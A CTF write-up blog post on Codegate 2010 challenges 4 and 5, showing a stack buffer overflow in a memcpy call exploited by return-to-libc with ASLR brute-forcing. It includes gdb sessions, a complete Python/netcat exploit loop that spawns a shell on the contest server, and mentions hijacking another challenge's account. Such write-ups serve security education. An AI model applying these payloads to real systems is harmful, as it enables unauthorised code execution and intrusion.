Codegate 2010 online CTF – Challenge 4 & 5 writeup

March 16, 2010 by longld · 17 Comments 

Summary

Challenge 4 has a basic buffer overflow vulnerability running on modern Ubuntu Linux with ASLR. Challenge 5 shares the same code as Challenge 4 but added NX protection to make it harder. In challenge 4 we use ret2eax to by pass ASLR and return-to-libc technique to bypass NX in challenge 5 with brute-forcing for execl() libc address. We had to access to the server (hijack account of Challenge #2) to search for execl() address, it’s weakness of our solution for challenge 5.

Analysis

Challenge 4 information:

credentials: ctf4.codegate.org 9000
BINARY FILE:  http://ctf.codegate.org/files____/easy

Challenge 5 information:

credentials: ctf4.codegate.org 9001
BINARY FILE:  http://ctf.codegate.org/files____/harder

Both “easy” and  “harder” share the same code which looks like below:

int __cdecl main()
{
 size_t n; // [sp+18h] [bp-8h]@1
 char *lineptr; // [sp+1Ch] [bp-4h]@1

 lineptr = 0;
 printf("Input: ");
 fflush(0);
 getline(&lineptr, &n, stdin);
 func(lineptr, n);
 return puts("\nThanks. Goodbye");
}

void *__cdecl func(const void *src, size_t n)
{
 char dest[264]; // [sp+10h] [bp-108h]@1
 return memcpy(dest, src, n);
}

The traditional BOF at memcpy() in func() with 272 bytes allows us to overwrite the saved EIP to control program execution. Exploit for “easy” is obvious, you can find a writeup here, remain of this post will talk about Challenge 5.

The problem for exploiting ‘harder’ is to bypass:

  • ASLR
  • NX protection

We will use return-to-libc technique to overcome that.

Solution/Exploit

In order to exploit the “harder” we have to:

  • Locate address of execl() function in libc
  • Locate address of “/bin/sh” somewhere in memory
  • Arrange stack to call execl(”/bin/sh”, …) when return from func()

Locate address of execl()

Based on our experience in Padocon 2010 pre-qual, we know that random mmap library address will repeat after several run.

$ gdb harder
(gdb) start
Temporary breakpoint 1, 0x0804850e in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x1a70c0 <execl>
(gdb) quit

Locate address of “/bin/sh”

There’s several way to find “/bin/sh” pointer according to other contestants discussed in #codegate IRC:

  • Find “/bin/sh” address in RO_DATA of libc
  • Put “/bin/sh” in our input buffer then find stack address that points to it (address of “dest” in func())
  • Put “/bin/sh” in our input buffer then re-use “*lineptr” (already point to our buffer) remain in stack. This is our method.

Let examine the stack when we’re in func():

(gdb) disass func
Dump of assembler code for function func:
0x080484e4 <func+0>:    push   ebp
0x080484e5 <func+1>:    mov    ebp,esp
0x080484e7 <func+3>:    sub    esp,0x118
0x080484ed <func+9>:    mov    eax,DWORD PTR [ebp+0xc]      <-- n
0x080484f0 <func+12>:   mov    DWORD PTR [esp+0x8],eax
0x080484f4 <func+16>:   mov    eax,DWORD PTR [ebp+0x8]      <-- src's address (*lineptr)
0x080484f7 <func+19>:   mov    DWORD PTR [esp+0x4],eax
0x080484fb <func+23>:   lea    eax,[ebp-0x108]              <-- dest's address
0x08048501 <func+29>:   mov    DWORD PTR [esp],eax
0x08048504 <func+32>:   call   0x80483f8 <memcpy@plt>
0x08048509 <func+37>:   leave
0x0804850a <func+38>:   ret
End of assembler dump.

(gdb) b *0x08048504
Breakpoint 1 at 0x8048504
(gdb) r
Starting program: /tmp/harder
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x08048504 in func ()
(gdb) x/20x $ebp
0xbffff738:     0xbffff768      0x08048568      0x0804b008      0x00000078
                                                [*lineptr] (2)
0xbffff748:     0x00d5b420      0xbffff768      0x00c49345      0x006c2d20
0xbffff758:     0x00000078      0x0804b008      0x08048590      0x00000000
                                [*lineptr] (1)  [garbage str]
0xbffff768:     0xbffff7e8      0x00c30b56      0x00000001      0xbffff814
0xbffff778:     0xbffff81c      0xb7fff858      0xbffff7d0      0xffffffff

(gdb) x/8x 0x0804b008
0x804b008:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b018:      0x41414141      0x41414141      0x41414141      0x41414141

Address of *lineptr is 0×0804b008 which point to our buffer. There’s two instances of *lineptr address on stack: (1) returned from getline(), (2) placed before calling func(). The (2) address is useless because it’s next to ret, the (1) address with next 2 addresses 0×08048590, 0×00000000 is perfect for execl(). What we need to do is lift the esp to correct address with few ret.

Arrange buffer & stack

With all the things above, we can craft our buffer as below:

["/bin/sh" | padding | ret*6 | execl() | "\n"]

This will result on stack when return from func():

[ret*6 | execl() | 0xdeadbeef | "/bin/sh" | "garbage string" | 0 ]

Exploit

while true; do
 (python -c 'print "/bin/sh\x00" + "A"*260 + "\x75\x85\x04\x08"*6 + "\xc0\x70\x1a\x00" + "\n"'; cat) | nc ctf4.codegate.org 9001
done
Input:
Input:
Input:

id
uid=1004(harder) gid=1004(harder)
cat /home/harder/flag.txt
e2e4cb6adc9cd761dcde774f84529591  -

References

Keywords: return-to-libc, aslr, esp lifting, codegate 2010

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

About longld
@longledinh

Comments

17 Responses to “Codegate 2010 online CTF – Challenge 4 & 5 writeup”
  1. gh057 says:

    The files seem to be offline. Have you archived the challenges by any chance and can you please post them? Thanks!

 

Tweetbacks

Check out what others are saying about this post...
  1. RT @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  2. RT @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  3. RT @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  4. RT: @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  5. RT @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  6. RT @wzzx RT @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  7. RT @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  8. RT @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  9. RT: @thaidn: RT: @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  10. RT @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  11. wzzx (wzzx) says:

    RT @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  12. RT @thaidn: RT: @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  13. RT @thaidn RT: @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  14. RT @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  15. RT: @vnsec: Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1

  16. Codegate 2010 online CTF – Challenge 4 & 5 writeup http://bit.ly/cXsba1